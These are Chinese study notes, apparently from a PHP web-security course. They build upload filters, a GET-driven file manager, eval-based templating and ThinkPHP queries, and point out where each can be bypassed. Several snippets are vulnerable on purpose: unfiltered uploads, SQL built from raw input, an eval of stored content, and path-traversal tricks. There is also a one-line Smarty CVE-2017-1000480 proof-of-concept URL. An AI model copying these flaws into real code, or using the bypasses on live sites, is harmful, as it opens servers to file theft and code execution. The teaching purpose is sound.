1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php $name = $_FILES ['f' ]['name' ];$type = $_FILES ['f' ]['type' ];$size = $_FILES ['f' ]['size' ];$tmp_name = $_FILES ['f' ]['tmp_name' ];$error = $_FILES ['f' ]['error' ];echo $name . "<br>" ;echo $type . "<br>" ;echo $size . "<br>" ;echo $tmp_name . "<br>" ;echo $error . "<br>" ;if (move_uploaded_file ($tmp_name , 'upload/' . $name )) { echo "文件上传成功!" ; } ?>
黑名单过滤机制
使用 explode 函数通过点号分割文件名,获取文件后缀
使用 end 函数获取数组中的最后一个元素,即文件后缀
检查文件后缀是否在黑名单中
如果文件后缀在黑名单中,输出非法后缀文件信息
如果文件后缀不在黑名单中,移动上传的文件到指定目录
输出上传成功的提示信息
实现机制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $black_ext = array ('php' , 'asp' , 'jsp' , 'aspx' );$fenge = explode ('.' , $name );$exts = end ($fenge );if (in_array ($exts , $black_ext )) { echo '非法后缀文件' . $exts ; } else { move_uploaded_file ($tmp_name , 'upload/' . $name ); echo "<script>alert('上传成功!')</script>" ; } ?>
上传.php文件进行测试
问题:如果过滤机制的后缀名没有考虑其他限制 如**.php5
之类的,还是可以进行 绕过黑名单, 正常进行上传和下载**
白名单过滤机制
限制只允许上传的后缀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $allow_ext = array ('png' , 'jpg' , 'gif' , 'jpeg' );$fenge = explode ('.' , $name );$exts = end ($fenge );if (!in_array ($exts , $allow_ext )) { echo '非法后缀文件' . $exts ; } else { move_uploaded_file ($tmp_name , 'upload/' . $name ); echo "<script>alert('上传成功!')</script>" ; }
尝试上传PHP5文件
文件类型过滤机制
通过检测MIME机制来确认文件类型
MIME:MIME 类型 | 菜鸟教程
如果是图片在抓包内容Content-Type: image/png
如果是exe文件抓包内容Content-Type: application/x-msdownload
实现方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $allow_type = array ('image/png' , 'image/jpg' , 'image/jpeg' , 'image/gif' );if (!in_array ($type , $allow_type )) { echo '非法文件类型' ; } else { move_uploaded_file ($tmp_name , 'upload/' . $name ); echo '<script>alert("上传成功")</script>' ; }
问题:通过修改MIME值是否能绕过文件类型绕过呢?
文件管理模块-显示-过滤机制 功能实现 功能:显示 上传 下载 删除 编辑 包含等 1.打开目录读取文件列表 2.递归循环读取文件列表 3.判断是文件还是文件夹 4.PHP.INI目录访问控制
php相关函数及区别
is_dir() 函数用于检查指定的路径是否是一个目录(文件夹) opendir() 函数用于打开指定的目录,返回句柄,用来读取目录中的文件和子目录 readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录 open_basedir:PHP.INI中的设置用来控制脚本程序访问目录
opendir() 函数 :
opendir()
用于打开一个目录句柄(directory handle)。
接受一个参数,即要打开的目录的路径。
返回一个目录句柄,该句柄可以用于后续对目录的操作。
通常与 closedir()
配合使用,用于关闭目录句柄。
readdir() 函数 :
readdir()
用于读取目录句柄中的条目。
接受一个参数,即之前使用 opendir()
打开的目录句柄。
在每次调用时,返回目录中的下一个文件或目录的名称。
当没有更多的文件或目录时,返回 **false
**。
使用示例
1 2 3 4 5 6 7 8 phpCopy code $dir_handle = opendir ('/path/to/directory' );while (($file = readdir ($dir_handle )) !== false ) { echo $file . '<br>' ; } closedir ($dir_handle );
创建file-manage.php,实现功能
打开目录读取文件列表
递归循环读取文件列表
判断是文件还是文件夹
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php $dir = $_GET ['path' ] ?? './' ;function filelist ($dir ) { if ($dh = opendir ($dir )) { while (($file = readdir ($dh )) !== false ) { if (is_dir ($dir . '/' . $file )) { echo "<li><i class='fa fa-folder'></i> <a href='?path=$dir /$file '>" . $file . '</a></li>' ; } else { echo '<li><i class="fa fa-file"></i> <a href="#">' . $file . '</a></li>' ; } } closedir ($dh ); } } filelist ($dir );?>
while 循环迭代目录中的每个条目。readdir($dh)读取目录中的下一个条目。 循环继续,直到没有更多的条目(readdir返回false)。 在循环内部, is_dir($dir . ‘/‘ . $file)检查当前目录项是否是一个目录,通过构建完整路径并使用is_dir 函数来判断。 条件通过使用斜杠(/)将目录路径($dir)与当前目录项($file)连接起来,形成完整的路径。
PHP.INI目录访问控制 未做任何处理前
使用../
或者**c:/
**等操作可以访问到目标服务器的所有文件目录
开启相关功能
phpstudy_pro\Extensions\php\php7.0.9nts
在目标文件夹出设置访问控制的的权限:open_basedir =G:\develop\safety\phpstudy_pro\WWW
注意取消掉前面的封号才能启用该功能
保存并重启小皮,发现WWW以外的目录均报错不能访问
测试:
如果配置../
或c:\
进行过滤并不是安全的,通过..\
、..../
这些方法仍可绕过
第四天 PHP应用&文件管理&包含&写入&删除&下载&上传&遍历&安全
文件包含 PHP相关文件包含函数:
include() 在错误发生后脚本继续执行 require() 在错误发生后脚本停止执行 include_once() 如果已经包含,则不再执行 require_once() 如果已经包含,则不再执行
使用include() 和 require()语句可以将一个PHP文件中的代码包含在另一个PHP文件中。包含文件与从指定的文件复制脚本并将其粘贴到调用它的位置产生相同的结果。
安全问题:当使用include ($_GET['page']);
可以通过改变路由访问的方式,将访问的文件当作php文件进行处理获取文件信息
test.txt
文件上传 文件上传常用过滤机制
1、无过滤机制 2、黑名单过滤机制 3、白名单过滤机制 4、文件类型过滤机制
文件存储位置:
1、上传至服务器本身的存储磁盘(源码在一起) 2、云产品OSS存储:云存储服务,旨在提高访问速度 对象去存储文件(泄漏安全) 3、把文件上传到其他域名,如:www.xiaodi8.com->[upload.xiaodi8.com](http://upload.xiaodi8.com/)
注意:上传到OSS云产品,只用来存储数据,不会对代码执行。
1 2 3 4 5 6 7 8 $ _FILES:PHP中一个预定义的超全局变量,用于在上传文件时从客户端接收文件,并将其保存到服务器上。它是一个包含上传文件信息的数组,包括文件名、类型、大小、临时文件名等信息。 $ _FILES[“表单值”][“name”] 获取上传文件原始名称 $ _FILES[“表单值”][“type ”] 获取上传文件MIME类型 $ _FILES[“表单值”][“size”] 获取上传文件字节单位大小 $ _FILES[“表单值”][“tmp_name”] 获取上传的临时副本文件名 $ _FILES[“表单值”][“error”] 获取上传时发生的错误代码 move_uploaded_file() 将上传的文件移动到指定位置的函数
文件显示 实现步骤
1.打开目录读取文件列表 2.递归循环读取文件列表 3.判断是文件还是文件夹 4.PHP.INI目录访问控制
相关php函数
is_dir() 函数用于检查指定的路径是否是一个目录 opendir() 函数用于打开指定的目录,返回句柄,用来读取目录中的文件和子目录 readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录 open_basedir:PHP.INI中的设置用来控制脚本程序访问目录 ini_set(‘open_basedir’,DIR); 设置配置文件中,只能访问本目录
具体实现
首先创建文件filemanage.php,然后创建有关html页面,并从网上找文件夹和文件的图片,保存至新创建的img目录
在 PHP 中,readdir函数会返回目录中的下一个文件名,如果没有更多的文件,则返回false。因此,您的代码是在循环中读取目录中的文件名,直到readdir返回false 为止。
“!=”检查具有类型强制的不等式,而“!”检查没有类型强制的不等式,并检查类型是否相同。通常建议使用“!”进行严格比较,以避免意外的类型转换。
如果是文件夹那么先走文件夹的循环遍历,到最后链接到打开按钮上,如果被触发提交GET表单,那么就会再次获取定义好的函数,并再次区分文件夹和文件,走循环
遇到问题如果打开全都是文件的文件夹会报错:
**foreach循环尝试对一个无效的参数进行迭代。在你提供的代码中,这个警告可能是由于$list[‘dir’]或者$list[‘file’]**中的其中一个不是数组,或者根本不存在。
解决:
filemanager.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 <?php ini_set ('open_basedir' ,__DIR__ );$path =$_GET ['path' ] ?? './' ;$action = isset ($_GET ['a' ])?$_GET ['a' ]:'' ;$path = isset ($_GET ['path' ])?$_GET ['path' ]:'.' ;if (is_file ($path )){ $file = basename ($path ); $path = dirname ($path ); } elseif (!is_dir ($path )){ echo '我只会吃瓜!' ; } function getlist ($path ) { $hd =opendir ($path ); while (($file_name =readdir ($hd ) )!== false ){ if ($file_name != '.' && $file_name != '..' ){ $file_path = "$path /$file_name " ; $file_type = filetype ($file_path ); } $list [$file_type ][] = array ( 'file_name' =>$file_name , 'file_path' =>$file_path , 'file_size' =>round (filesize ($file_path )/1024 ), 'file_time' =>date ('Y/m/d H:i:s' ,filemtime ($file_path )), ); } closedir ($hd ); return $list ; } $list =getlist ($path );switch ($action ){ case 'del' : unlink ($file ); break ; case 'down' : header ("Content-Type: application/octet-stream" ); header ("Content-Disposition: attachment; filename=\"" . $file . "\"" ); header ("Content-Length: " . filesize ($file )); readfile ($file ); break ; case 'edit' : $content =file_get_contents ($file ); echo '<form name="form1" method="post" action="">' ; echo "文件名:" .$file ."<br>" ; echo "文件内容:<br>" ; echo '<textarea name="code" style="resize:none;" rows="100" cols="100"">' .$content .'</textarea><br>' ; echo '<input type="submit" name="submit" id="submit" value="提交">' ; echo '</form>' ; break ; } if (isset ($_POST ['code' ])){ $f =fopen ("$path /$file " ,'w+' ); fwrite ($f ,$_POST ['code' ]); fclose ($f ); } ?> <table width="100%" style="font-size: 10px;text-align: center;" > <tr> <th>图标</th> <th>名称</th> <th>日期</th> <th>大小</th> <th>路径</th> <th>操作</th> </tr> <?php foreach ($list ['dir' ] as $v ): ?> <tr> <td><img src="./img/list.png" width="20" height="20" ></td> <td><?php echo $v ['file_name' ]?> </td> <td><?php echo $v ['file_time' ]?> </td> <td>-</td> <td><?php echo $v ['file_path' ]?> </td> <td><a href="?path=<?php echo $v ['file_path']?>" >打开</a></td> </tr> <?php endforeach ;?> <?php foreach ($list ['file' ] as $v ): ?> <tr> <td><img src="./img/file.png" width="20" height="20" ></td> <td><?php echo $v ['file_name' ]?> </td> <td><?php echo $v ['file_time' ]?> </td> <td><?php echo $v ['file_size' ]?> </td> <td><?php echo $v ['file_path' ]?> </td> <td> <a href="?a=edit&path=<?php echo $v ['file_path']?>" >编辑</a> <a href="?a=down&path=<?php echo $v ['file_path']?>" >下载</a> <a href="?a=del&path=<?php echo $v ['file_path']?>" >删除</a> </td> </tr> <?php endforeach ;?> </table>
文件删除 unlink() 文件删除函数 调用命令删除:system shell_exec exec等
首先在html源码对于文件的循环处,增加删除文件的触发绑定,
1 2 3 4 5 <a href="?a=del&path=<?php echo $v ['file_path']?>" >delete</a>: 生成一个"删除" 链接,链接到删除文件的路径。 当用户点击这个链接时,会向服务器发送一个请求,请求删除文件的操作。
在php源码中完成文件删除的有关代码实现isset($_GET[‘a’]) : 检查是否存在名为 a 的 URL 参数。? $_GET[‘a’] : ‘’: 如果 a 参数存在,则将其值赋给 $action;如果不存在,则将 $action 赋为空字符串 ‘’。(三目运算符)
1 2 3 4 5 6 7 8 9 10 11 12 这行代码是用于获取 URL 参数 a 的值,表示操作类型。具体解释如下: $ action = isset($_GET ['a' ]) ? $_GET ['a' ] : '' ; // 接受方法 判断是怎么操作 switch ($action) { case 'del': // 如果操作类型是删除 ('del') unlink($file); // 使用 unlink 函数删除文件 break; }
文件下载 修改HTTP头实现文件读取解析下载:
1 2 3 4 5 header ("Content-Type: application/octet-stream" );: 设置响应内容的类型为二进制流(binary stream)。这告诉浏览器,服务器将发送二进制数据,通常用于文件下载。header ("Content-Disposition: attachment; filename=\"" . basename ($file ) . "\"" );: 设置浏览器提示下载,同时指定下载文件的名称。basename ($file ) 用于获取文件名。header ("Content-Length: " . filesize ($file ));: 设置响应内容的长度为文件大小。这有助于确保浏览器知道文件的总大小。readfile ($file );: 读取并输出文件内容。这将把文件的内容发送到浏览器。
这样,当用户访问包含这段代码的页面时,浏览器将接收到这些头信息,然后提示用户下载名为 $file
的文件。
首先在html源码对于文件的循环处,增加删除文件的触发绑定,
1 2 3 4 <a href="?a=down&path=<?php echo $v['file_path']?>">下载</a> **生成一个“下载”链接,链接到下载文件的路径。 当用户点击这个链接时,会向服务器发送一个请求,请求下载文件的操作。**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 //接受方法 判断是怎么操作 switch ($action){ case 'del': unlink($file); break; case 'down': header("Content-Type: application/octet-stream"); // 设置响应内容的类型为二进制流 header("Content-Disposition: attachment; filename=\"" . $file . "\""); // 设置浏览器提示下载,并指定下载文件的名称(使用 $file 变量) header("Content-Length: " . filesize($file)); // 设置响应内容的长度为文件大小 readfile($file); // 读取并输出文件内容 break; } ?>
文件编辑 1、file_get_contents() 读取文件内容 2、fopen() fread() 文件打开读入
首先在html源码对于文件的循环处,增加编辑文件的触发绑定
1 2 3 4 `<a href="?a=edit&path=<?php echo $v['file_path']?>">编辑</a>`: **生成一个“编辑”链接,链接到编辑文件的路径。 当用户点击这个链接时,会向服务器发送一个请求,请求编辑文件的操作。**
在php源码中完成文件下载的有关代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 case 'edit': $content = file_get_contents($file); // 读取文件内容并存储在 $content 变量中 echo '<form name="form1" method="post" action="">'; // 输出表单的开始标签,使用 POST 方法提交到当前页面 echo "文件名:" . $file . "<br>"; // 输出文件名 echo "文件内容:<br>"; echo '<textarea name="code" style="resize:none;" rows="100" cols="100">' . $content . '</textarea><br>'; // 输出包含文件内容的文本区域 echo '<input type="submit" name="submit" id="submit" value="提交">'; // 输出提交按钮 echo '</form>'; // 输出表单的结束标签 break;
完成触发编辑提交的按钮后,写入文件的源码
w+ 是 fopen 函数中用于打开文件的模式之一,表示以读写方式打开文件,并将文件指针指向文件的开头。如果文件不存在,则尝试创建文件。如果文件已存在,将截断文件内容(即清空文件),然后重新写入。
具体含义如下:
w: 以写入(write)方式打开文件。如果文件不存在,则尝试创建文件。如果文件已存在,则截断文件内容,即清空文件。 +: 以读取(read)方式打开文件。这个符号表示文件可同时进行读写操作。 组合在一起,w+ 表示以读写方式打开文件,文件指针指向文件的开头。 在使用 w+ 模式打开文件后,你可以通过 fwrite 函数写入新的内容,同时通过 fread 函数读取文件内容。请注意,使用 w+ 模式打开文件时,原始文件内容会被清空。
1 2 3 4 5 6 7 8 9 10 11 if (isset($_POST['code'])) { // 检查是否存在名为 'code' 的 POST 数据 $f = fopen("$path/$file", 'w+'); // 以读写方式打开文件,如果文件不存在则创建 fwrite($f, $_POST['code']); // 将 POST 数据中 'code' 的内容写入文件 fclose($f); // 关闭文件句柄,确保操作的文件被正确保存。 }
完整代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 <?php ini_set('open_basedir',__DIR__); $ path=$_GET ['path' ] ?? './' ; $ action = isset($_GET ['a' ])?$_GET ['a' ]:'' ; $ path = isset($_GET ['path' ])?$_GET ['path' ]:'.' ; if(is_file($ path)) { //获得文件名 $file = basename($path); //获得路径 $path = dirname($path); } //判断,不是目录 elseif(!is_dir($path)) { echo '我只会吃瓜!'; } function getlist($path){ $hd=opendir($path); while(($file_name=readdir($hd) )!== false){ if($file_name != '.' && $file_name != '..'){ $file_path = "$path/$file_name"; $file_type = filetype($file_path); } $list[$file_type][] = array( //$file_type = dir 和 file $list['dir'] 和 $list['file'] 'file_name'=>$file_name, //文件名存储键值file_name 'file_path'=>$file_path, //文件路径存储键值file_path 'file_size'=>round(filesize($file_path)/1024), //通过换算文件大小存储键值file_path 'file_time'=>date('Y/m/d H:i:s',filemtime($file_path)), //获取文件时间并存储键值file_path ); } closedir($hd); return $list; } $ list=getlist($path ); //接受方法 判断是怎么操作 //echo $action; switch ($action){ case 'del': unlink($file); //$cmd="del $file"; //system($cmd); //echo $cmd; break; case 'down': header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=\"" . $file . "\""); header("Content-Length: " . filesize($file)); readfile($file); break; case 'edit': $content=file_get_contents($file); echo '<form name="form1" method="post" action="">'; echo "文件名:".$file."<br>"; echo "文件内容:<br>"; echo '<textarea name="code" style="resize:none;" rows="100" cols="100"">'.$content.'</textarea><br>'; echo '<input type="submit" name="submit" id="submit" value="提交">'; echo '</form>'; break; } //检测编辑后提交的事件 进入文件重新写入 if(isset($ _POST['code' ])){ $f=fopen("$path/$file",'w+'); fwrite($f,$_POST['code']); fclose($f); } ?> <table width="100%" style="font-size: 10px;text-align: center;"> <tr> <th>图标</th> <th>名称</th> <th>日期</th> <th>大小</th> <th>路径</th> <th>操作</th> </tr> <?php foreach ($list['dir'] as $v): ?> <tr> <td><img src="./img/list.png" width="20" height="20"></td> <td><?php echo $v['file_name']?></td> <td><?php echo $v['file_time']?></td> <td>-</td> <td><?php echo $v['file_path']?></td> <td><a href="?path=<?php echo $v['file_path']?>">打开</a></td> </tr> <?php endforeach;?> <?php foreach ($list['file'] as $v): ?> <tr> <td><img src="./img/file.png" width="20" height="20"></td> <td><?php echo $v['file_name']?></td> <td><?php echo $v['file_time']?></td> <td><?php echo $v['file_size']?></td> <td><?php echo $v['file_path']?></td> <td> <a href="?a=edit&path=<?php echo $v['file_path']?>">编辑</a> <a href="?a=down&path=<?php echo $v['file_path']?>">下载</a> <a href="?a=del&path=<?php echo $v['file_path']?>">删除</a> </td> </tr> <?php endforeach;?> </table>
防御机制 open_basedir:PHP.INI中的设置用来控制脚本程序访问目录 ini_set(‘open_basedir’,__DIR__
); 设置配置文件中,只能访问本目录
1 2 3 ini_set('open_basedir', __DIR__);: 使用 ini_set 函数设置 PHP 配置项。 'open_basedir': 是要设置的配置项,它规定了允许访问的文件和目录的根路径。 __DIR__: 这是一个 PHP 预定义常量,表示当前脚本所在的目录。在这里,open_basedir 被设置为当前脚本所在的目录,即只允许 PHP 脚本访问当前目录及其子目录下的文件和目录。
通过设置 open_basedir
,你可以限制 PHP 脚本只能访问指定路径下的文件和目录,以增强安全性。在这个例子中, open_basedir
被设置为当前脚本所在的目录,这意味着 PHP 脚本只能访问当前目录及其子目录下的文件和目录,而不能越过这个限制。
解决方式:
在代码中设置ini_set(‘open_basedir’,__DIR__
);、
在open_basedir:PHP.INI中的设置用来控制脚本程序访问目录
第五天 PHP应用&模版引用&Smarty渲染&MVC模型&数据联动&RCE 安全
数据库操作读取显示 操作步骤
1、数据库创建 新闻存储 2、代码连接数据库读取 3、页面进行自定义显示
1、创建新闻所需要的存储库
打开数据库创建新的新闻数据库(new)
创建字段名(id title author content image)
给数据库(new)写入新数据 image写保存好的图片路径即可
2、输入相关简单代码,能把数据库中的资料显示出来看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php // 包含数据库配置文件 include 'config.php'; // 从GET请求中获取id参数,如果不存在则默认为1 $ id = $_GET ['id' ] ?? '1' ;// 构建SQL查询语句 $ sql = "select * from new where id=$id " ; // 执行查询并获取结果集 $ data = mysqli_query($con , $sql ); // 使用mysqli_fetch_row遍历结果集的每一行 while ($row = mysqli_fetch_row($data)) { // 输出标题,注意:mysqli_fetch_row返回的是枚举数组,索引从0开始 echo "标题: <title>" . $row[1] . "</title><br>"; // 输出第二列数据 echo $row[2] . "<br>"; // 输出第三列数据 echo $row[3] . "<br>"; // 输出图片,注意:在HTML中使用$row[4]作为图片路径 echo "<img src='$row[4]' width='300' height='300'></img><br>"; } // 关闭数据库连接 mysqli_close($ con); ?>
实现模板引用
1、页面显示样式编排 2、显示数据插入页面 3、引用模版调用触发
1、创建new.html前端模板代码
创建新的数据库news
改变以下源代码,将数据库中的元素 ,替换为使用html渲染,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 // 从文件中读取HTML模板内容 $ template = file_get_contents('new.html' ); // 使用mysqli_fetch_row遍历结果集的每一行 while ($row = mysqli_fetch_row($data)) { // 从结果集中获取每一列的值,并存储到相应的变量中 $page_title = $row[1]; $heading = $row[2]; $subheading = $row[3]; $content = $row[4]; $item = $row[5]; } // 替换HTML模板中的占位符 $ template = str_replace('{page_title}' , $page_title , $template ); $ template = str_replace('{heading}' , $subheading , $template ); $ template = str_replace('{subheading}' , $subheading , $template ); $ template = str_replace('{content}' , $content , $template ); $ template = str_replace('{$item}' , $item , $template ); // 将PHP代码嵌入HTML模板中并执行 eval('?>' . $template); // 关闭数据库连接 mysqli_close($ con);
安全问题
如果在数据库中任何地方添加<?php phpinfo();?>
,在调用数据库内容的时候会自动显示
<?php phpinfo(); ?>
这段代码用于显示关于服务器 PHP 配置的详细信息。虽然 phpinfo()
是一个对开发人员有用的函数,可以获取有关 PHP 环境的信息,但在生产环境中应谨慎使用。
安全风险: 显示详细的 PHP 信息可能透露有关服务器配置的敏感信息,包括 PHP 版本、扩展和路径。攻击者可以利用这些信息来识别潜在的漏洞。 信息泄露: 在生产环境中,显示详细的 PHP 信息是不推荐的,因为存在信息泄露的风险。攻击者可能利用这些信息更好地了解服务器的设置并识别潜在的攻击点。 服务器加固: 安全最佳实践涉及将服务器信息的暴露最小化,以减少攻击面。应该限制不必要的服务器环境信息,以降低攻击表面。
Smarty模版引用 下载:https://github.com/smarty-php/smarty/releases
使用: 1、创建一个文件夹,命名为smarty 2、下载Smarty对应版本并解压缩到该文件夹中。 3、创建一个PHP文件,命名为index.php,并在文件中添加以下代码:
配置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php // 引入 Smarty 类文件 require('smarty/libs/Smarty.class.php'); // 创建 Smarty 实例 $ smarty = new Smarty; // 设置 Smarty 相关属性 **$smarty->template_dir = 'smarty/templates/'; // 设置模板文件的目录** $ smarty->compile_dir = 'smarty/templates_c/' ; // 设置编译文件的目录 $ smarty->cache_dir = 'smarty/cache/' ; // 设置缓存文件的目录 $ smarty->config_dir = 'smarty/configs/' ; // 设置配置文件的目录 // 赋值变量到模板中 $ smarty->assign('title' , '欢迎使用 Smarty' ); // 将变量 'title' 赋值为 '欢迎使用 Smarty' // 显示模板 $ smarty->display('index.tpl' ); // 使用 'index.tpl' 模板文件进行显示 ?>
4、在smarty相关目录下创建smarty/templates/ 并在目录下 创建一个名为index.tpl的模板文件,并将以下代码复制到上述点定义文件夹中
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE html> <html> <head> <title>{$title}</title> </head> <body> <h1>{$title}</h1> <p>这是一个使用 Smarty 的例子。</p> </body> </html>
安全性:在相关模板内容下加入<?php phpinfo();?>
,但是发现不能泄露
Smarty3模版引用-有对应漏洞 Smarty <= 3.1.32 Remote Code execution(CVE-2017-1000480) - magic_zero - 博客园 (cnblogs.com)
使用: 1、创建一个文件夹,命名为smarty3 2、下载Smarty对应版本并解压缩到该文件夹中。 3、创建一个PHP文件,命名为index1.php,并在文件中添加以下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php define('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__)); **define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR . '/smarty3/tmp/templates_c'); define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR . '/smarty3/tmp/cache'); include_once(SMARTY_ROOT_DIR . '/smarty3/libs/Smarty.class.php');** class testSmarty extends Smarty_Resource_Custom { protected function fetch($name, &$source, &$mtime) { $template = "CVE-2017-1000480 smarty PHP code injection"; $source = $template; $mtime = time(); } } $ smarty = new Smarty(); $ smarty->setCacheDir(SMARTY_CACHE_DIR); $ smarty->setCompileDir(SMARTY_COMPILE_DIR); $ smarty->registerResource('test' , new testSmarty); $ smarty->display('test:' . $_GET ['eval' ]);
将访问路由修改为http://localhost:63342/dome01/index1.php?*eval= /phpinfo();// ,即可访问泄露
代码RCE安全测试 1、自写模版的安全隐患 2、第三方Smarty的安全隐患国家信息安全漏洞共享平台 (cnvd.org.cn)
第六天 PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞
TP框架-开发-配置架构&路由&MVC模型 参考:https://www.kancloud.cn/manual/thinkphp5_1 1、配置架构-导入使用 修改小皮网址目录:G:\develop\safety\phpstudy_pro\WWW\dome01\thinkphp\public 192.168.137.1:84 访问成功
2、路由访问-URL访问 访问方式需要按照,特定的访问方式才能访问到
例如:需要访问初始页面;http://192.168.137.1:84**/index.php/Index/index/ ** 需要访问初始页面中新定义的函数:192.168.137.1:84**/index.php/Index/index/xi**
如果想返回域名或表单中输入的参数中的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php namespace app\index\controller; **use think\Controller;** class Index extends Controller { // index方法用于处理首页请求 public function index() { // 返回一个包含样式和内容的字符串 return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_bd568ce7058a1091"></thinkad>'; } **// xi方法用于处理名为xi的请求,返回请求参数中的'name' public function xi() { // 返回请求参数中的'name' return $this->request->param('name'); }** }
访问有两种方式:
192.168.137.1:84/index.php/Index/index**/xi/name/xiaosedi** 192.168.137.1:84/index.php/Index/index**/xi?name=wusuowei**
注意:
如果是使用php自带的请求方式访问则:只支持一种方式回写数据 192.168.137.1:84/index.php/Index/index**/xi?x=123456**
如果创建新的目录,例如application→text→controller→Test.php等
修改namespace 中的路径 修改class 类名Test 192.168.137.1:84/index.php**/test/Test/xi?x=wufa456**
3、数据库操作-应用对象
连接数据库找到数据库配置文件(database.php),并打开调试模式
引用数据的的类use think\Db;,使用数据库的查询语句
1 2 3 4 5 6 7 8 use think\Db; public function testsql() { //SELECT * FROM `think_user` WHERE `id` = 1 LIMIT 1 // table方法必须指定完整的数据表名 $data = Db::table('news')->where('id', 1)->findOrFail(); return json($data); }
thinkphp的安全过滤:
如果是原生态php的话,数据库操作没有过滤就会受到SQL注入攻击
ThinkPHP框架提供了一些内置的数据库操作方法,使得对数据库的访问更加便捷和安全使用ThinkPHP框架操作数据库 默认是受到框架内置的过滤保护
1 2 3 4 5 6 7 8 public function testsql() { //SELECT * FROM `think_user` WHERE `id` = 1 LIMIT 1 //使用TP框架操作数据库 默认是受到框架内置的过滤保护 $id = request()->param('x'); $data = Db::table('news')->where('id', $id)->find(); return json($data); }
4、文件上传操作-应用对象
在配置好的网址根目录public下创建upload.html
在upload.html中写入以下代码,并修改action的地址
1 2 3 4 5 6 7 <form action="/index.php/test/test/upload" enctype="multipart/form-data" method="post"> <!-- 表单提交的目标地址,这里是 /index.php/test/test/upload --> <input type="file" name="image" /> <!-- 文件上传输入框,name 属性为 "image" --> <br> <input type="submit" value="上传" /> <!-- 提交按钮,点击后触发表单提交 --> </form>
在Test.php中输入以下代码(此代码对于上传文件,进行了诸多过滤,保证了安全性)
public function upload(){
// 获取表单上传文件,例如上传了001.jpg
$file = request()->file('image');
// 移动到框架应用根目录/uploads/ 目录下
$info = $file->validate(['ext'=>'jpg,png,gif'])->move('../uploads');
if($info){
// 成功上传后,获取上传信息
// 输出文件扩展名,例如 jpg
echo $info->getExtension();
echo '<br>';
// 输出文件保存路径,例如 20160820/42a79759f284b767dfcb2a0197904287.jpg
echo $info->getSaveName();
echo '<br>';
// 输出文件名,例如 42a79759f284b767dfcb2a0197904287.jpg
echo $info->getFilename();
} else {
// 上传失败,获取错误信息
echo $file->getError();
}
}
5、前端页面渲染-MVC模型 在例如index(需要渲染的文件当前并行目录下)→view→index→index.html等http://192.168.137.1:84/index.php/Index/index/index 输入对应的路由访问即可看到以及渲染的页面
也可以指定内容可以指定模板
1 2 3 4 5 6 7 8 9 10 11 12 13 public function index() { **//可以一一赋值 $this->assign('name','ThinkPHP'); $this->assign('email','thinkphp@qq.com'); //可以批量赋值 $this->assign([ 'name' == 'ThinkPHP', 'email' == 'thinkphp@qq.com' ]); //模板输出 return $this->fetch('index/edit');** }
TP框架-安全-不安全写法&版本过滤绕过 判断漏洞的方式:首先判断代码写法如果是不安全写法直接通过代码回写使用sql注入,如果是安全写法则判断中间框架版本号,依据版本号去寻找存在的漏洞
1、内置代码写法 例子:不合规的代码写法-TP5-自写
1、使用TP框架操作数据库 默认是受到框架内置过滤保护
2、原生态的数据库操作如果没有过滤就会受到SQL注入攻击
安全写法=推荐写法 不安全写法=原生写法(不会受到保护)
1、安全写法 规矩写法:不是绝对安全 看两点看版本的内置绕过漏洞 同样也有漏洞
1 2 $ id =request()->param('x' );$ data=Db::table('news' )->where ('id' ,$id )->find();
2、用一半安全写法 用一半安全写法 有安全隐患
